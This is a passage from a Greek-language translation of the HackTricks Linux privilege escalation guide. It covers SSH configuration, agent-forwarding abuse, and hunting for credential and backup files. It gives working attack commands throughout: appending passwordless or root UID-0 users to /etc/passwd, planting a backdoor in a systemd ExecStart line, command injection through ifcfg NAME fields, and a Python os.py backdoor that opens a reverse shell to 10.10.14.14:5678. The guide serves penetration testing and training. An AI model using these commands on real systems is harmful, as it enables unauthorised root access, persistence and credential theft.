- PasswordAuthentication: Καθορίζει αν επιτρέπεται ο έλεγχος ταυτότητας με password. Η προεπιλογή είναι
no
. - PubkeyAuthentication: Καθορίζει αν επιτρέπεται ο έλεγχος ταυτότητας με public key. Η προεπιλογή είναι
yes
. - PermitEmptyPasswords: Όταν ο έλεγχος ταυτότητας με password επιτρέπεται, καθορίζει αν ο server επιτρέπει σύνδεση σε λογαριασμούς με κενές συμβολοσειρές κωδικών. Η προεπιλογή είναι
no
.
PermitRootLogin
Καθορίζει αν ο root μπορεί να συνδεθεί χρησιμοποιώντας ssh, η προεπιλογή είναι no
. Πιθανά values:
yes
: root μπορεί να συνδεθεί χρησιμοποιώντας password και private keywithout-password
orprohibit-password
: root μπορεί να συνδεθεί μόνο με private keyforced-commands-only
: Root μπορεί να συνδεθεί μόνο με private key και εάν έχουν καθοριστεί επιλογές για commandsno
: όχι
AuthorizedKeysFile
Καθορίζει αρχεία που περιέχουν τα public keys που μπορούν να χρησιμοποιηθούν για τον έλεγχο ταυτότητας χρηστών. Μπορεί να περιέχει tokens όπως %h
, τα οποία θα αντικατασταθούν από τον κατάλογο home. Μπορείτε να δηλώσετε απόλυτες διαδρομές (που ξεκινούν με /
) ή σχετικές διαδρομές από το home του χρήστη. Για παράδειγμα:
AuthorizedKeysFile .ssh/authorized_keys access
Αυτή η διαμόρφωση θα υποδείξει ότι αν προσπαθήσετε να συνδεθείτε με το private key του χρήστη "testusername", το ssh θα συγκρίνει το public key του κλειδιού σας με αυτά που βρίσκονται σε /home/testusername/.ssh/authorized_keys
και /home/testusername/access
ForwardAgent/AllowAgentForwarding
Το SSH agent forwarding σας επιτρέπει να use your local SSH keys instead of leaving keys (without passphrases!) στον server σας. Έτσι, θα μπορείτε να jump via ssh to a host και από εκεί να jump to another host using το key που βρίσκεται στον initial host.
Πρέπει να ορίσετε αυτήν την επιλογή στο $HOME/.ssh.config
ως εξής:
Host example.com
ForwardAgent yes
Σημειώστε ότι αν Host
είναι *
κάθε φορά που ο χρήστης μεταβαίνει σε διαφορετική μηχανή, αυτή η host θα μπορεί να έχει πρόσβαση στα keys (κάτι που αποτελεί ζήτημα ασφάλειας).
Το αρχείο /etc/ssh_config
μπορεί να παρακάμψει αυτές τις επιλογές και να επιτρέψει ή να αρνηθεί αυτή τη ρύθμιση.
Το αρχείο /etc/sshd_config
μπορεί να επιτρέψει ή να απορρίψει το ssh-agent forwarding με το keyword AllowAgentForwarding
(default is allow).
Αν βρείτε ότι το Forward Agent είναι διαμορφωμένο σε ένα περιβάλλον, διαβάστε την παρακάτω σελίδα καθώς you may be able to abuse it to escalate privileges:
SSH Forward Agent exploitation
Ενδιαφέροντα Αρχεία
Αρχεία profile
Το αρχείο /etc/profile
και τα αρχεία κάτω από /etc/profile.d/
είναι σενάρια που εκτελούνται όταν ένας χρήστης ανοίγει ένα νέο shell. Επομένως, αν μπορείτε να γράψετε ή να τροποποιήσετε οποιοδήποτε από αυτά you can escalate privileges.
ls -l /etc/profile /etc/profile.d/
Αν βρεθεί κάποιο περίεργο profile script, πρέπει να το ελέγξετε για ευαίσθητες πληροφορίες.
Αρχεία Passwd/Shadow
Ανάλογα με το λειτουργικό σύστημα, τα αρχεία /etc/passwd
και /etc/shadow
μπορεί να έχουν διαφορετικό όνομα ή να υπάρχει αντίγραφο ασφαλείας. Επομένως, συνιστάται να τα βρείτε όλα και ελέγξετε αν μπορείτε να τα διαβάσετε για να δείτε αν υπάρχουν hashes μέσα στα αρχεία:
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
Σε ορισμένες περιπτώσεις μπορείς να βρεις password hashes μέσα στο /etc/passwd
(ή σε αντίστοιχο αρχείο)
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
Writable /etc/passwd
Πρώτα, δημιούργησε ένα password με μία από τις παρακάτω εντολές.
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
Στη συνέχεια, προσθέστε τον χρήστη hacker
και τον δημιουργημένο κωδικό πρόσβασης.
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
Π.χ: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
Μπορείτε τώρα να χρησιμοποιήσετε την εντολή su
με hacker:hacker
Εναλλακτικά, μπορείτε να χρησιμοποιήσετε τις παρακάτω γραμμές για να προσθέσετε έναν ψεύτικο λογαριασμό χρήστη χωρίς κωδικό πρόσβασης.\ ΠΡΟΕΙΔΟΠΟΙΗΣΗ: μπορεί να μειώσετε την τρέχουσα ασφάλεια του μηχανήματος.
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
ΣΗΜΕΙΩΣΗ: Σε πλατφόρμες BSD το /etc/passwd
βρίσκεται στα /etc/pwd.db
και /etc/master.passwd
, επίσης το /etc/shadow
μετονομάστηκε σε /etc/spwd.db
.
Πρέπει να ελέγξεις αν μπορείς να γράψεις σε κάποια ευαίσθητα αρχεία. Για παράδειγμα, μπορείς να γράψεις σε κάποιο αρχείο ρυθμίσεων υπηρεσίας;
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
Για παράδειγμα, αν το μηχάνημα τρέχει έναν tomcat διακομιστή και μπορείτε να τροποποιήσετε το αρχείο ρύθμισης της υπηρεσίας Tomcat μέσα στο /etc/systemd/, τότε μπορείτε να τροποποιήσετε τις γραμμές:
ExecStart=/path/to/backdoor
User=root
Group=root
Το backdoor σας θα εκτελεστεί την επόμενη φορά που θα ξεκινήσει το tomcat.
Έλεγχος φακέλων
Οι ακόλουθοι φάκελοι μπορεί να περιέχουν αντίγραφα ασφαλείας ή ενδιαφέρουσες πληροφορίες: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Πιθανότατα δεν θα μπορείτε να διαβάσετε τον τελευταίο, αλλά δοκιμάστε)
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
Παράξενη τοποθεσία/Owned files
#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf " Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done
Τροποποιημένα αρχεία τα τελευταία λεπτά
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
Sqlite DB αρχεία
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml αρχεία
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
Κρυφά αρχεία
find / -type f -iname ".*" -ls 2>/dev/null
Script/Binaries στο PATH
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
Αρχεία Web
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
Αντίγραφα ασφαλείας
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
Γνωστά αρχεία που περιέχουν κωδικούς πρόσβασης
Διάβασε τον κώδικα του linPEAS, ψάχνει για πολλά πιθανά αρχεία που μπορεί να περιέχουν κωδικούς πρόσβασης.
Ένα ακόμα ενδιαφέρον εργαλείο που μπορείς να χρησιμοποιήσεις για αυτό είναι: LaZagne η οποία είναι μια εφαρμογή ανοιχτού κώδικα που χρησιμοποιείται για την ανάκτηση πολλών κωδικών πρόσβασης αποθηκευμένων σε έναν τοπικό υπολογιστή για Windows, Linux & Mac.
Καταγραφές
Αν μπορείς να διαβάσεις καταγραφές, μπορεί να καταφέρεις να βρεις ενδιαφέρουσες/εμπιστευτικές πληροφορίες μέσα σε αυτές. Όσο πιο περίεργη είναι η καταγραφή, τόσο πιθανότερο είναι να είναι ενδιαφέρουσα.
Επίσης, κάποια "bad" ρυθμισμένα (backdoored?) audit logs μπορεί να σου επιτρέψουν να καταγράψεις κωδικούς πρόσβασης μέσα στα audit logs όπως εξηγείται σε αυτήν την ανάρτηση: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
Για να διαβάσετε logs, η ομάδα adm θα είναι πολύ χρήσιμη.
Shell files
~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell
Generic Creds Search/Regex
Πρέπει επίσης να ελέγξεις για αρχεία που περιέχουν τη λέξη "password" στο όνομα τους ή μέσα στο περιεχόμενο, και επίσης να ελέγξεις για IPs και emails μέσα σε logs, ή regexps για hashes.
Δεν θα απαριθμήσω εδώ πώς να κάνεις όλα αυτά, αλλά αν σε ενδιαφέρει μπορείς να δεις τους τελευταίους ελέγχους που εκτελεί το linpeas.
Εγγράψιμα αρχεία
Python library hijacking
Αν γνωρίζεις από πού θα εκτελεστεί ένα python script και μπορείς να γράψεις σε αυτόν τον φάκελο ή να τροποποιήσεις python libraries, μπορείς να τροποποιήσεις τη βιβλιοθήκη OS και να την backdoor (αν μπορείς να γράψεις εκεί όπου θα εκτελεστεί το python script, αντιγράψτε/επικολλήστε τη βιβλιοθήκη os.py).
Για να backdoor the library απλά πρόσθεσε στο τέλος της βιβλιοθήκης os.py την παρακάτω γραμμή (αλλάξτε IP και PORT):
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Logrotate exploitation
Μια ευπάθεια στο logrotate
επιτρέπει σε χρήστες με δικαιώματα εγγραφής σε ένα αρχείο καταγραφής ή τους γονικούς καταλόγους του ενδεχομένως να αποκτήσουν αυξημένα προνόμια. Αυτό συμβαίνει επειδή το logrotate
, που συχνά τρέχει ως root, μπορεί να χειραγωγηθεί ώστε να εκτελέσει αυθαίρετα αρχεία, ειδικά σε καταλόγους όπως /etc/bash_completion.d/. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο /var/log αλλά και σε οποιονδήποτε κατάλογο όπου εφαρμόζεται η περιστροφή αρχείων καταγραφής.
tip
Αυτή η ευπάθεια επηρεάζει logrotate
version 3.18.0
and older
Περισσότερες λεπτομέρειες σχετικά με την ευπάθεια μπορείτε να βρείτε σε αυτή τη σελίδα: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.
Μπορείτε να εκμεταλλευτείτε αυτή την ευπάθεια με logrotten.
Αυτή η ευπάθεια είναι πολύ παρόμοια με CVE-2016-1247 (nginx logs), οπότε κάθε φορά που διαπιστώνετε ότι μπορείτε να τροποποιήσετε logs, ελέγξτε ποιος διαχειρίζεται αυτά τα logs και ελέγξτε αν μπορείτε να αποκτήσετε αυξημένα προνόμια αντικαθιστώντας τα logs με symlinks.
/etc/sysconfig/network-scripts/ (Centos/Redhat)
Αναφορά ευπάθειας: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
Αν, για οποιονδήποτε λόγο, ένας χρήστης μπορεί να γράψει ένα ifcf-<whatever>
script στο /etc/sysconfig/network-scripts ή να προσαρμόσει/τροποποιήσει ένα υπάρχον, τότε το system is pwned.
Τα network scripts, ifcg-eth0 για παράδειγμα, χρησιμοποιούνται για συνδέσεις δικτύου. Μοιάζουν ακριβώς με αρχεία .INI. Ωστόσο, γίνονται ~sourced~ στο Linux από το Network Manager (dispatcher.d).
Στην περίπτωσή μου, το NAME=
που αποδίδεται σε αυτά τα network scripts δεν χειρίζεται σωστά. Εάν έχετε λευκό/κενό χώρο στο όνομα το σύστημα προσπαθεί να εκτελέσει το μέρος μετά το λευκό/κενό χώρο. Αυτό σημαίνει ότι ό,τι βρίσκεται μετά το πρώτο κενό εκτελείται ως root.
Για παράδειγμα: /etc/sysconfig/network-scripts/ifcfg-1337
NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
(Σημείωση: το κενό ανάμεσα σε Network και /bin/id)
init, init.d, systemd, and rc.d
Ο κατάλογος /etc/init.d
φιλοξενεί scripts για το System V init (SysVinit), το παραδοσιακό σύστημα διαχείρισης υπηρεσιών του Linux. Περιλαμβάνει scripts για start
, stop
, restart
και μερικές φορές reload
υπηρεσίες. Αυτά μπορούν να εκτελεστούν απευθείας ή μέσω symbolic links που βρίσκονται στο /etc/rc?.d/
. Μια εναλλακτική διαδρομή σε συστήματα Redhat είναι το /etc/rc.d/init.d
.
Αντίθετα, το /etc/init
σχετίζεται με το Upstart, ένα νεότερο σύστημα διαχείρισης υπηρεσιών που εισήχθη από την Ubuntu, χρησιμοποιώντας αρχεία ρυθμίσεων για εργασίες διαχείρισης υπηρεσιών. Παρά τη μετάβαση στο Upstart, τα SysVinit scripts εξακολουθούν να χρησιμοποιούνται μαζί με τις Upstart διαμορφώσεις λόγω ενός compatibility layer στο Upstart.
Το systemd εμφανίζεται ως ένας σύγχρονος initialization και service manager, προσφέροντας προηγμένες δυνατότητες όπως on-demand εκκίνηση daemons, διαχείριση automounts και snapshots κατάστασης του συστήματος. Οργανώνει αρχεία σε /usr/lib/systemd/
για πακέτα διανομής και σε /etc/systemd/system/
για τροποποιήσεις διαχειριστή, απλοποιώντας τη διαχείριση του συστήματος.
Άλλα κόλπα
NFS Privilege escalation
NFS no_root_squash/no_all_squash misconfiguration PE
Escaping from restricted Shells
Cisco - vmanage
Android rooting frameworks: manager-channel abuse
Τα Android rooting frameworks συχνά κάνουν hook σε ένα syscall για να εκθέσουν privileged kernel λειτουργίες σε έναν userspace manager. Αδύναμη authentication του manager (π.χ. έλεγχοι signatures βασισμένοι σε FD-order ή κακοί μηχανισμοί password) μπορεί να επιτρέψει σε μια τοπική εφαρμογή να προσποιηθεί τον manager και να αποκτήσει root σε συσκευές που είναι ήδη rooted. Μάθετε περισσότερα και λεπτομέρειες εκμετάλλευσης εδώ:
Android Rooting Frameworks Manager Auth Bypass Syscall Hook
VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)
Η ανακάλυψη υπηρεσιών με βάση regex στο VMware Tools/Aria Operations μπορεί να εξάγει ένα path δυαδικού αρχείου από τις γραμμές εντολών διαδικασιών και να το εκτελέσει με -v σε privileged context. Επιεικείς patterns (π.χ. χρήση \S) μπορεί να ταιριάξουν με attacker-staged listeners σε εγγράψιμες τοποθεσίες (π.χ. /tmp/httpd), οδηγώντας σε εκτέλεση ως root (CWE-426 Untrusted Search Path).
Μάθετε περισσότερα και δείτε ένα γενικευμένο pattern εφαρμόσιμο σε άλλα discovery/monitoring stacks εδώ:
Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244
Προστασίες Ασφαλείας Πυρήνα
- https://github.com/a13xp0p0v/kconfig-hardened-check
- https://github.com/a13xp0p0v/linux-kernel-defence-map
Περισσότερη βοήθεια
Linux/Unix Privesc Tools
Το καλύτερο εργαλείο για την αναζήτηση Linux local privilege escalation vectors: LinPEAS
LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Εντοπίζει kernel vulnerabilities σε Linux και MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc
References
-
0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)
-
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
-
http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
-
https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf
-
https://blog.certcube.com/suid-executables-linux-privilege-escalation/
-
https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
-
0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.